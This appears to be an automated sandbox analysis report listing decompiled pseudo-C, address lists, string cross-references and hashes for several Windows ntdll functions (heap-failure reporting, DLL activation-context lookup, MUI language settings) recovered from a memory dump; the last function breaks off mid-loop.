Uniqueness Score: -1.00%

Function 1E451C06, Relevance: 31.4, Strings: 25, Instructions: 195
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E1E451C06() {
				signed int _t27;
				char* _t104;
				char* _t105;
				intOrPtr _t113;
				intOrPtr _t115;
				intOrPtr _t117;
				intOrPtr _t119;
				intOrPtr _t120;

				_t105 = 0x1e3748a4;
				_t104 = "HEAP: ";
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E1E39B150();
				} else {
					E1E39B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				_push( *0x1e48589c);
				E1E39B150("Heap error detected at %p (heap handle %p)\n",  *0x1e4858a0);
				_t27 =  *0x1e485898; // 0x0
				if(_t27 <= 0xf) {
					switch( *((intOrPtr*)(_t27 * 4 +  &M1E451E96))) {
						case 0:
							_t105 = "heap_failure_internal";
							goto L21;
						case 1:
							goto L21;
						case 2:
							goto L21;
						case 3:
							goto L21;
						case 4:
							goto L21;
						case 5:
							goto L21;
						case 6:
							goto L21;
						case 7:
							goto L21;
						case 8:
							goto L21;
						case 9:
							goto L21;
						case 0xa:
							goto L21;
						case 0xb:
							goto L21;
						case 0xc:
							goto L21;
						case 0xd:
							goto L21;
						case 0xe:
							goto L21;
						case 0xf:
							goto L21;
					}
				}
				L21:
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E1E39B150();
				} else {
					E1E39B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				_push(_t105);
				E1E39B150("Error code: %d - %s\n",  *0x1e485898);
				_t113 =  *0x1e4858a4; // 0x0
				if(_t113 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E1E39B150();
					} else {
						E1E39B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E1E39B150("Parameter1: %p\n",  *0x1e4858a4);
				}
				_t115 =  *0x1e4858a8; // 0x0
				if(_t115 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E1E39B150();
					} else {
						E1E39B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E1E39B150("Parameter2: %p\n",  *0x1e4858a8);
				}
				_t117 =  *0x1e4858ac; // 0x0
				if(_t117 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E1E39B150();
					} else {
						E1E39B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E1E39B150("Parameter3: %p\n",  *0x1e4858ac);
				}
				_t119 =  *0x1e4858b0; // 0x0
				if(_t119 != 0) {
					L41:
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E1E39B150();
					} else {
						E1E39B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					_push( *0x1e4858b4);
					E1E39B150("Last known valid blocks: before - %p, after - %p\n",  *0x1e4858b0);
				} else {
					_t120 =  *0x1e4858b4; // 0x0
					if(_t120 != 0) {
						goto L41;
					}
				}
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E1E39B150();
				} else {
					E1E39B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				return E1E39B150("Stack trace available at %p\n", 0x1e4858c0);
			}

0x1e451c10
0x1e451c16
0x1e451c1e
0x1e451c3d
0x1e451c3e
0x1e451c20
0x1e451c35
0x1e451c3a
0x1e451c44
0x1e451c55
0x1e451c5a
0x1e451c65
0x1e451c67
0x00000000
0x1e451c6e
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x1e451c67
0x1e451cdc
0x1e451ce5
0x1e451d04
0x1e451d05
0x1e451ce7
0x1e451cfc
0x1e451d01
0x1e451d0b
0x1e451d17
0x1e451d1f
0x1e451d25
0x1e451d30
0x1e451d4f
0x1e451d50
0x1e451d32
0x1e451d47
0x1e451d4c
0x1e451d61
0x1e451d67
0x1e451d68
0x1e451d6e
0x1e451d79
0x1e451d98
0x1e451d99
0x1e451d7b
0x1e451d90
0x1e451d95
0x1e451daa
0x1e451db0
0x1e451db1
0x1e451db7
0x1e451dc2
0x1e451de1
0x1e451de2
0x1e451dc4
0x1e451dd9
0x1e451dde
0x1e451df3
0x1e451df9
0x1e451dfa
0x1e451e00
0x1e451e0a
0x1e451e13
0x1e451e32
0x1e451e33
0x1e451e15
0x1e451e2a
0x1e451e2f
0x1e451e39
0x1e451e4a
0x1e451e02
0x1e451e02
0x1e451e08
0x00000000
0x00000000
0x1e451e08
0x1e451e5b
0x1e451e7a
0x1e451e7b
0x1e451e5d
0x1e451e72
0x1e451e77
0x1e451e95

Strings

Parameter1: %p, xrefs: 1E451D5C
heap_failure_block_not_busy, xrefs: 1E451CA6
Error code: %d - %s, xrefs: 1E451D12
heap_failure_listentry_corruption, xrefs: 1E451CD0
heap_failure_internal, xrefs: 1E451C6E
heap_failure_lfh_bitmap_mismatch, xrefs: 1E451CD7
heap_failure_generic, xrefs: 1E451C7C
Last known valid blocks: before - %p, after - %p, xrefs: 1E451E45
heap_failure_freelists_corruption, xrefs: 1E451CC9
heap_failure_cross_heap_operation, xrefs: 1E451CC2
heap_failure_invalid_allocation_type, xrefs: 1E451CB4
Heap error detected at %p (heap handle %p), xrefs: 1E451C50
Parameter2: %p, xrefs: 1E451DA5
HEAP[%wZ]: , xrefs: 1E451C30, 1E451CF7, 1E451D42, 1E451D8B, 1E451DD4, 1E451E25, 1E451E6D
heap_failure_invalid_argument, xrefs: 1E451CAD
heap_failure_entry_corruption, xrefs: 1E451C83
heap_failure_buffer_overrun, xrefs: 1E451C98
heap_failure_unknown, xrefs: 1E451C75
heap_failure_virtual_block_corruption, xrefs: 1E451C91
Parameter3: %p, xrefs: 1E451DEE
heap_failure_multiple_entries_corruption, xrefs: 1E451C8A
heap_failure_usage_after_free, xrefs: 1E451CBB
HEAP: , xrefs: 1E451C16, 1E451C3D, 1E451D04, 1E451D4F, 1E451D98, 1E451DE1, 1E451E32, 1E451E7A
Stack trace available at %p, xrefs: 1E451E86
heap_failure_buffer_underrun, xrefs: 1E451C9F

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: Error code: %d - %s$HEAP: $HEAP[%wZ]: $Heap error detected at %p (heap handle %p)$Last known valid blocks: before - %p, after - %p$Parameter1: %p$Parameter2: %p$Parameter3: %p$Stack trace available at %p$heap_failure_block_not_busy$heap_failure_buffer_overrun$heap_failure_buffer_underrun$heap_failure_cross_heap_operation$heap_failure_entry_corruption$heap_failure_freelists_corruption$heap_failure_generic$heap_failure_internal$heap_failure_invalid_allocation_type$heap_failure_invalid_argument$heap_failure_lfh_bitmap_mismatch$heap_failure_listentry_corruption$heap_failure_multiple_entries_corruption$heap_failure_unknown$heap_failure_usage_after_free$heap_failure_virtual_block_corruption
API String ID: 0-2897834094
Opcode ID: 71cf71c2d5b6c1b82aa304d9a748c4defb63f9276f254987a9d8d473b574382c
Instruction ID: 216c60b336c7d5bec890ccb8a56a57e3238ecb78f409cf36d099bb23ca7271a5
Opcode Fuzzy Hash: 71cf71c2d5b6c1b82aa304d9a748c4defb63f9276f254987a9d8d473b574382c
Instruction Fuzzy Hash: 6C61B63A411994EFC3068B87EC98D6073E5EF05B20F86876BF40A5B311D7A9E8419E5A

Uniqueness

Uniqueness Score: -1.00%

Function 1E3C8E00, Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 126
timeCOMMON

Download Yara Rule

C-Code - Quality: 44%

			E1E3C8E00(void* __ecx) {
				signed int _v8;
				char _v12;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t32;
				intOrPtr _t35;
				intOrPtr _t43;
				void* _t46;
				intOrPtr _t47;
				void* _t48;
				signed int _t49;
				void* _t50;
				intOrPtr* _t51;
				signed int _t52;
				void* _t53;
				intOrPtr _t55;

				_v8 =  *0x1e48d360 ^ _t52;
				_t49 = 0;
				_t48 = __ecx;
				_t55 =  *0x1e488464; // 0x74b10110
				if(_t55 == 0) {
					L9:
					if( !_t49 >= 0) {
						if(( *0x1e485780 & 0x00000003) != 0) {
							E1E415510("minkernel\\ntdll\\ldrsnap.c", 0x2b5, "LdrpFindDllActivationContext", 0, "Querying the active activation context failed with status 0x%08lx\n", _t49);
						}
						if(( *0x1e485780 & 0x00000010) != 0) {
							asm("int3");
						}
					}
					return E1E3DB640(_t49, 0, _v8 ^ _t52, _t47, _t48, _t49);
				}
				_t47 =  *((intOrPtr*)(__ecx + 0x18));
				_t43 =  *0x1e487984; // 0x852b68
				if( *((intOrPtr*)( *[fs:0x30] + 0x1f8)) == 0 || __ecx != _t43) {
					_t32 =  *((intOrPtr*)(_t48 + 0x28));
					if(_t48 == _t43) {
						_t50 = 0x5c;
						if( *_t32 == _t50) {
							_t46 = 0x3f;
							if( *((intOrPtr*)(_t32 + 2)) == _t46 &&  *((intOrPtr*)(_t32 + 4)) == _t46 &&  *((intOrPtr*)(_t32 + 6)) == _t50 &&  *((intOrPtr*)(_t32 + 8)) != 0 &&  *((short*)(_t32 + 0xa)) == 0x3a &&  *((intOrPtr*)(_t32 + 0xc)) == _t50) {
								_t32 = _t32 + 8;
							}
						}
					}
					_t51 =  *0x1e488464; // 0x74b10110
					 *0x1e48b1e0(_t47, _t32,  &_v12);
					_t49 =  *_t51();
					if(_t49 >= 0) {
						L8:
						_t35 = _v12;
						if(_t35 != 0) {
							if( *((intOrPtr*)(_t48 + 0x48)) != 0) {
								E1E3C9B10( *((intOrPtr*)(_t48 + 0x48)));
								_t35 = _v12;
							}
							 *((intOrPtr*)(_t48 + 0x48)) = _t35;
						}
						goto L9;
					}
					if(_t49 != 0xc000008a) {
						if(_t49 != 0xc000008b && _t49 != 0xc0000089 && _t49 != 0xc000000f && _t49 != 0xc0000204 && _t49 != 0xc0000002) {
							if(_t49 != 0xc00000bb) {
								goto L8;
							}
						}
					}
					if(( *0x1e485780 & 0x00000005) != 0) {
						_push(_t49);
						E1E415510("minkernel\\ntdll\\ldrsnap.c", 0x298, "LdrpFindDllActivationContext", 2, "Probing for the manifest of DLL \"%wZ\" failed with status 0x%08lx\n", _t48 + 0x24);
						_t53 = _t53 + 0x1c;
					}
					_t49 = 0;
					goto L8;
				} else {
					goto L9;
				}
			}

0x1e3c8e0f
0x1e3c8e16
0x1e3c8e19
0x1e3c8e1b
0x1e3c8e21
0x1e3c8e7f
0x1e3c8e85
0x1e409354
0x1e40936c
0x1e409371
0x1e40937b
0x1e409381
0x1e409381
0x1e40937b
0x1e3c8e9d
0x1e3c8e9d
0x1e3c8e29
0x1e3c8e2c
0x1e3c8e38
0x1e3c8e3e
0x1e3c8e43
0x1e3c8eb5
0x1e3c8eb9
0x1e4092aa
0x1e4092af
0x1e4092e8
0x1e4092e8
0x1e4092af
0x1e3c8eb9
0x1e3c8e45
0x1e3c8e53
0x1e3c8e5b
0x1e3c8e5f
0x1e3c8e78
0x1e3c8e78
0x1e3c8e7d
0x1e3c8ec3
0x1e3c8ecd
0x1e3c8ed2
0x1e3c8ed2
0x1e3c8ec5
0x1e3c8ec5
0x00000000
0x1e3c8e7d
0x1e3c8e67
0x1e3c8ea4
0x1e40931a
0x00000000
0x00000000
0x1e409320
0x1e3c8ea4
0x1e3c8e70
0x1e409325
0x1e409340
0x1e409345
0x1e409345
0x1e3c8e76
0x00000000
0x00000000
0x00000000
0x00000000

APIs

RtlDebugPrintTimes.NTDLL ref: 1E3C8E53

Strings

Querying the active activation context failed with status 0x%08lx, xrefs: 1E409357
minkernel\ntdll\ldrsnap.c, xrefs: 1E40933B, 1E409367
Probing for the manifest of DLL "%wZ" failed with status 0x%08lx, xrefs: 1E40932A
LdrpFindDllActivationContext, xrefs: 1E409331, 1E40935D

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID: DebugPrintTimes
String ID: LdrpFindDllActivationContext$Probing for the manifest of DLL "%wZ" failed with status 0x%08lx$Querying the active activation context failed with status 0x%08lx$minkernel\ntdll\ldrsnap.c
API String ID: 3446177414-3779518884
Opcode ID: 802335a35236edaa5ec9f66c45f00594a3b0a339a478467cbf7326a3ca065ce4
Instruction ID: d34ffb25a1e51fe52c2a453f33845cdfcbd13f51983a35bdfefb43cdf3a040df
Opcode Fuzzy Hash: 802335a35236edaa5ec9f66c45f00594a3b0a339a478467cbf7326a3ca065ce4
Instruction Fuzzy Hash: 24410732D10266AFDB11AB758898E65F2B6BBC4274F06477FE90457150E774FE80C6C1

Uniqueness

Uniqueness Score: -1.00%

Function 1E3A3D34, Relevance: 6.7, Strings: 5, Instructions: 435
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E1E3A3D34(signed int* __ecx) {
				signed int* _v8;
				char _v12;
				signed int* _v16;
				signed int* _v20;
				char _v24;
				signed int _v28;
				signed int _v32;
				char _v36;
				signed int _v40;
				signed int _v44;
				signed int* _v48;
				signed int* _v52;
				signed int _v56;
				signed int _v60;
				char _v68;
				signed int _t140;
				signed int _t161;
				signed int* _t236;
				signed int* _t242;
				signed int* _t243;
				signed int* _t244;
				signed int* _t245;
				signed int _t255;
				void* _t257;
				signed int _t260;
				void* _t262;
				signed int _t264;
				void* _t267;
				signed int _t275;
				signed int* _t276;
				short* _t277;
				signed int* _t278;
				signed int* _t279;
				signed int* _t280;
				short* _t281;
				signed int* _t282;
				short* _t283;
				signed int* _t284;
				void* _t285;

				_v60 = _v60 | 0xffffffff;
				_t280 = 0;
				_t242 = __ecx;
				_v52 = __ecx;
				_v8 = 0;
				_v20 = 0;
				_v40 = 0;
				_v28 = 0;
				_v32 = 0;
				_v44 = 0;
				_v56 = 0;
				_t275 = 0;
				_v16 = 0;
				if(__ecx == 0) {
					_t280 = 0xc000000d;
					_t140 = 0;
					L50:
					 *_t242 =  *_t242 | 0x00000800;
					_t242[0x13] = _t140;
					_t242[0x16] = _v40;
					_t242[0x18] = _v28;
					_t242[0x14] = _v32;
					_t242[0x17] = _t275;
					_t242[0x15] = _v44;
					_t242[0x11] = _v56;
					_t242[0x12] = _v60;
					return _t280;
				}
				if(E1E3A1B8F(L"WindowsExcludedProcs",  &_v36,  &_v12,  &_v8) >= 0) {
					_v56 = 1;
					if(_v8 != 0) {
						L1E3B77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v8);
					}
					_v8 = _t280;
				}
				if(E1E3A1B8F(L"Kernel-MUI-Number-Allowed",  &_v36,  &_v12,  &_v8) >= 0) {
					_v60 =  *_v8;
					L1E3B77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _v8);
					_v8 = _t280;
				}
				if(E1E3A1B8F(L"Kernel-MUI-Language-Allowed",  &_v36,  &_v12,  &_v8) < 0) {
					L16:
					if(E1E3A1B8F(L"Kernel-MUI-Language-Disallowed",  &_v36,  &_v12,  &_v8) < 0) {
						L28:
						if(E1E3A1B8F(L"Kernel-MUI-Language-SKU",  &_v36,  &_v12,  &_v8) < 0) {
							L46:
							_t275 = _v16;
							L47:
							_t161 = 0;
							L48:
							if(_v8 != 0) {
								L1E3B77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t161, _v8);
							}
							_t140 = _v20;
							if(_t140 != 0) {
								if(_t275 != 0) {
									L1E3B77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t275);
									_t275 = 0;
									_v28 = 0;
									_t140 = _v20;
								}
							}
							goto L50;
						}
						_t167 = _v12;
						_t255 = _v12 + 4;
						_v44 = _t255;
						if(_t255 == 0) {
							_t276 = _t280;
							_v32 = _t280;
						} else {
							_t276 = L1E3B4620(_t255,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t255);
							_t167 = _v12;
							_v32 = _t276;
						}
						if(_t276 == 0) {
							_v44 = _t280;
							_t280 = 0xc0000017;
							goto L46;
						} else {
							E1E3DF3E0(_t276, _v8, _t167);
							_v48 = _t276;
							_t277 = E1E3E1370(_t276, 0x1e374e90);
							_pop(_t257);
							if(_t277 == 0) {
								L38:
								_t170 = _v48;
								if( *_v48 != 0) {
									E1E3DBB40(0,  &_v68, _t170);
									if(L1E3A43C0( &_v68,  &_v24) != 0) {
										_t280 =  &(_t280[0]);
									}
								}
								if(_t280 == 0) {
									_t280 = 0;
									L1E3B77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v32);
									_v44 = 0;
									_v32 = 0;
								} else {
									_t280 = 0;
								}
								_t174 = _v8;
								if(_v8 != 0) {
									L1E3B77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _t174);
								}
								_v8 = _t280;
								goto L46;
							}
							_t243 = _v48;
							do {
								 *_t277 = 0;
								_t278 = _t277 + 2;
								E1E3DBB40(_t257,  &_v68, _t243);
								if(L1E3A43C0( &_v68,  &_v24) != 0) {
									_t280 =  &(_t280[0]);
								}
								_t243 = _t278;
								_t277 = E1E3E1370(_t278, 0x1e374e90);
								_pop(_t257);
							} while (_t277 != 0);
							_v48 = _t243;
							_t242 = _v52;
							goto L38;
						}
					}
					_t191 = _v12;
					_t260 = _v12 + 4;
					_v28 = _t260;
					if(_t260 == 0) {
						_t275 = _t280;
						_v16 = _t280;
					} else {
						_t275 = L1E3B4620(_t260,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t260);
						_t191 = _v12;
						_v16 = _t275;
					}
					if(_t275 == 0) {
						_v28 = _t280;
						_t280 = 0xc0000017;
						goto L47;
					} else {
						E1E3DF3E0(_t275, _v8, _t191);
						_t285 = _t285 + 0xc;
						_v48 = _t275;
						_t279 = _t280;
						_t281 = E1E3E1370(_v16, 0x1e374e90);
						_pop(_t262);
						if(_t281 != 0) {
							_t244 = _v48;
							do {
								 *_t281 = 0;
								_t282 = _t281 + 2;
								E1E3DBB40(_t262,  &_v68, _t244);
								if(L1E3A43C0( &_v68,  &_v24) != 0) {
									_t279 =  &(_t279[0]);
								}
								_t244 = _t282;
								_t281 = E1E3E1370(_t282, 0x1e374e90);
								_pop(_t262);
							} while (_t281 != 0);
							_v48 = _t244;
							_t242 = _v52;
						}
						_t201 = _v48;
						_t280 = 0;
						if( *_v48 != 0) {
							E1E3DBB40(_t262,  &_v68, _t201);
							if(L1E3A43C0( &_v68,  &_v24) != 0) {
								_t279 =  &(_t279[0]);
							}
						}
						if(_t279 == 0) {
							L1E3B77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _v16);
							_v28 = _t280;
							_v16 = _t280;
						}
						_t202 = _v8;
						if(_v8 != 0) {
							L1E3B77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _t202);
						}
						_v8 = _t280;
						goto L28;
					}
				}
				_t214 = _v12;
				_t264 = _v12 + 4;
				_v40 = _t264;
				if(_t264 == 0) {
					_v20 = _t280;
				} else {
					_t236 = L1E3B4620(_t264,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t264);
					_t280 = _t236;
					_v20 = _t236;
					_t214 = _v12;
				}
				if(_t280 == 0) {
					_t161 = 0;
					_t280 = 0xc0000017;
					_v40 = 0;
					goto L48;
				} else {
					E1E3DF3E0(_t280, _v8, _t214);
					_t285 = _t285 + 0xc;
					_v48 = _t280;
					_t283 = E1E3E1370(_t280, 0x1e374e90);
					_pop(_t267);
					if(_t283 != 0) {
						_t245 = _v48;
						do {
							 *_t283 = 0;
							_t284 = _t283 + 2;
							E1E3DBB40(_t267,  &_v68, _t245);
							if(L1E3A43C0( &_v68,  &_v24) != 0) {
								_t275 = _t275 + 1;
							}
							_t245 = _t284;
							_t283 = E1E3E1370(_t284, 0x1e374e90);
							_pop(_t267);
						} while (_t283 != 0);
						_v48 = _t245;
						_t242 = _v52;
					}
					_t224 = _v48;
					_t280 = 0;
					if( *_v48 != 0) {
						E1E3DBB40(_t267,  &_v68, _t224);
						if(L1E3A43C0( &_v68,  &_v24) != 0) {
							_t275 = _t275 + 1;
						}
					}
					if(_t275 == 0) {
						L1E3B77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _v20);
						_v40 = _t280;
						_v20 = _t280;
					}
					_t225 = _v8;
					if(_v8 != 0) {
						L1E3B77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _t225);
					}
					_v8 = _t280;
					goto L16;
				}
			}

0x1e3a3d3c
0x1e3a3d42
0x1e3a3d44
0x1e3a3d46
0x1e3a3d49
0x1e3a3d4c
0x1e3a3d4f
0x1e3a3d52
0x1e3a3d55
0x1e3a3d58
0x1e3a3d5b
0x1e3a3d5f
0x1e3a3d61
0x1e3a3d66
0x1e3f8213
0x1e3f8218
0x1e3a4085
0x1e3a4088
0x1e3a408e
0x1e3a4094
0x1e3a409a
0x1e3a40a0
0x1e3a40a6
0x1e3a40a9
0x1e3a40af
0x1e3a40b6
0x1e3a40bd
0x1e3a40bd
0x1e3a3d83
0x1e3f821f
0x1e3f8229
0x1e3f8238
0x1e3f8238
0x1e3f823d
0x1e3f823d
0x1e3a3da0
0x1e3a3daf
0x1e3a3db5
0x1e3a3dba
0x1e3a3dba
0x1e3a3dd4
0x1e3a3e94
0x1e3a3eab
0x1e3a3f6d
0x1e3a3f84
0x1e3a406b
0x1e3a406b
0x1e3a406e
0x1e3a406e
0x1e3a4070
0x1e3a4074
0x1e3f8351
0x1e3f8351
0x1e3a407a
0x1e3a407f
0x1e3f835d
0x1e3f8370
0x1e3f8377
0x1e3f8379
0x1e3f837c
0x1e3f837c
0x1e3f835d
0x00000000
0x1e3a407f
0x1e3a3f8a
0x1e3a3f8d
0x1e3a3f90
0x1e3a3f95
0x1e3f830d
0x1e3f830f
0x1e3a3f9b
0x1e3a3fac
0x1e3a3fae
0x1e3a3fb1
0x1e3a3fb1
0x1e3a3fb6
0x1e3f8317
0x1e3f831a
0x00000000
0x1e3a3fbc
0x1e3a3fc1
0x1e3a3fc9
0x1e3a3fd7
0x1e3a3fda
0x1e3a3fdd
0x1e3a4021
0x1e3a4021
0x1e3a4029
0x1e3a4030
0x1e3a4044
0x1e3a4046
0x1e3a4046
0x1e3a4044
0x1e3a4049
0x1e3f8327
0x1e3f8334
0x1e3f8339
0x1e3f833c
0x1e3a404f
0x1e3a404f
0x1e3a404f
0x1e3a4051
0x1e3a4056
0x1e3a4063
0x1e3a4063
0x1e3a4068
0x00000000
0x1e3a4068
0x1e3a3fdf
0x1e3a3fe2
0x1e3a3fe4
0x1e3a3fe7
0x1e3a3fef
0x1e3a4003
0x1e3a4005
0x1e3a4005
0x1e3a400c
0x1e3a4013
0x1e3a4016
0x1e3a4017
0x1e3a401b
0x1e3a401e
0x00000000
0x1e3a401e
0x1e3a3fb6
0x1e3a3eb1
0x1e3a3eb4
0x1e3a3eb7
0x1e3a3ebc
0x1e3f82a9
0x1e3f82ab
0x1e3a3ec2
0x1e3a3ed3
0x1e3a3ed5
0x1e3a3ed8
0x1e3a3ed8
0x1e3a3edd
0x1e3f82b3
0x1e3f82b6
0x00000000
0x1e3a3ee3
0x1e3a3ee8
0x1e3a3eed
0x1e3a3ef0
0x1e3a3ef3
0x1e3a3f02
0x1e3a3f05
0x1e3a3f08
0x1e3f82c0
0x1e3f82c3
0x1e3f82c5
0x1e3f82c8
0x1e3f82d0
0x1e3f82e4
0x1e3f82e6
0x1e3f82e6
0x1e3f82ed
0x1e3f82f4
0x1e3f82f7
0x1e3f82f8
0x1e3f82fc
0x1e3f82ff
0x1e3f82ff
0x1e3a3f0e
0x1e3a3f11
0x1e3a3f16
0x1e3a3f1d
0x1e3a3f31
0x1e3f8307
0x1e3f8307
0x1e3a3f31
0x1e3a3f39
0x1e3a3f48
0x1e3a3f4d
0x1e3a3f50
0x1e3a3f50
0x1e3a3f53
0x1e3a3f58
0x1e3a3f65
0x1e3a3f65
0x1e3a3f6a
0x00000000
0x1e3a3f6a
0x1e3a3edd
0x1e3a3dda
0x1e3a3ddd
0x1e3a3de0
0x1e3a3de5
0x1e3f8245
0x1e3a3deb
0x1e3a3df7
0x1e3a3dfc
0x1e3a3dfe
0x1e3a3e01
0x1e3a3e01
0x1e3a3e06
0x1e3f824d
0x1e3f824f
0x1e3f8254
0x00000000
0x1e3a3e0c
0x1e3a3e11
0x1e3a3e16
0x1e3a3e19
0x1e3a3e29
0x1e3a3e2c
0x1e3a3e2f
0x1e3f825c
0x1e3f825f
0x1e3f8261
0x1e3f8264
0x1e3f826c
0x1e3f8280
0x1e3f8282
0x1e3f8282
0x1e3f8289
0x1e3f8290
0x1e3f8293
0x1e3f8294
0x1e3f8298
0x1e3f829b
0x1e3f829b
0x1e3a3e35
0x1e3a3e38
0x1e3a3e3d
0x1e3a3e44
0x1e3a3e58
0x1e3f82a3
0x1e3f82a3
0x1e3a3e58
0x1e3a3e60
0x1e3a3e6f
0x1e3a3e74
0x1e3a3e77
0x1e3a3e77
0x1e3a3e7a
0x1e3a3e7f
0x1e3a3e8c
0x1e3a3e8c
0x1e3a3e91
0x00000000
0x1e3a3e91

Strings

Kernel-MUI-Language-SKU, xrefs: 1E3A3F70
Kernel-MUI-Language-Disallowed, xrefs: 1E3A3E97
WindowsExcludedProcs, xrefs: 1E3A3D6F
Kernel-MUI-Language-Allowed, xrefs: 1E3A3DC0
Kernel-MUI-Number-Allowed, xrefs: 1E3A3D8C

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: Kernel-MUI-Language-Allowed$Kernel-MUI-Language-Disallowed$Kernel-MUI-Language-SKU$Kernel-MUI-Number-Allowed$WindowsExcludedProcs
API String ID: 0-258546922
Opcode ID: 2e648154591e9a1abffad42a5ff59c3ed791cd88da9a566ce0385d035e107937
Instruction ID: 57571558d6cfe18224eba4337ae80208da5b163b1ef683ed03c283298ae403d7
Opcode Fuzzy Hash: 2e648154591e9a1abffad42a5ff59c3ed791cd88da9a566ce0385d035e107937
Instruction Fuzzy Hash: 9EF16C76D10269EFCB05CF98C980ADEBBB9FF48750F11066AE505E7610E774AE41CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 1E46E824, Relevance: 6.5, APIs: 4, Instructions: 493
timeCOMMONCrypto

Download Yara Rule

C-Code - Quality: 50%

			E1E46E824(signed int __ecx, signed int* __edx) {
				signed int _v8;
				signed char _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				unsigned int _v44;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t177;
				signed int _t179;
				unsigned int _t202;
				signed char _t207;
				signed char _t210;
				signed int _t230;
				void* _t244;
				unsigned int _t247;
				signed int _t288;
				signed int _t289;
				signed int _t291;
				signed char _t293;
				signed char _t295;
				signed char _t298;
				intOrPtr* _t303;
				signed int _t310;
				signed char _t316;
				signed int _t319;
				signed char _t323;
				signed char _t330;
				signed int _t334;
				signed int _t337;
				signed int _t341;
				signed char _t345;
				signed char _t347;
				signed int _t353;
				signed char _t354;
				void* _t383;
				signed char _t385;
				signed char _t386;
				unsigned int _t392;
				signed int _t393;
				signed int _t395;
				signed int _t398;
				signed int _t399;
				signed int _t401;
				unsigned int _t403;
				void* _t404;
				unsigned int _t405;
				signed int _t406;
				signed char _t412;
				unsigned int _t413;
				unsigned int _t418;
				void* _t419;
				void* _t420;
				void* _t421;
				void* _t422;
				void* _t423;
				signed char* _t425;
				signed int _t426;
				signed int _t428;
				unsigned int _t430;
				signed int _t431;
				signed int _t433;

				_v8 =  *0x1e48d360 ^ _t433;
				_v40 = __ecx;
				_v16 = __edx;
				_t289 = 0x4cb2f;
				_t425 = __edx[1];
				_t403 =  *__edx << 2;
				if(_t403 < 8) {
					L3:
					_t404 = _t403 - 1;
					if(_t404 == 0) {
						L16:
						_t289 = _t289 * 0x25 + ( *_t425 & 0x000000ff);
						L17:
						_t426 = _v40;
						_v20 = _t426 + 0x1c;
						_t177 = L1E3BFAD0(_t426 + 0x1c);
						_t385 = 0;
						while(1) {
							L18:
							_t405 =  *(_t426 + 4);
							_t179 = (_t177 | 0xffffffff) << (_t405 & 0x0000001f);
							_t316 = _t289 & _t179;
							_v24 = _t179;
							_v32 = _t316;
							_v12 = _t316 >> 0x18;
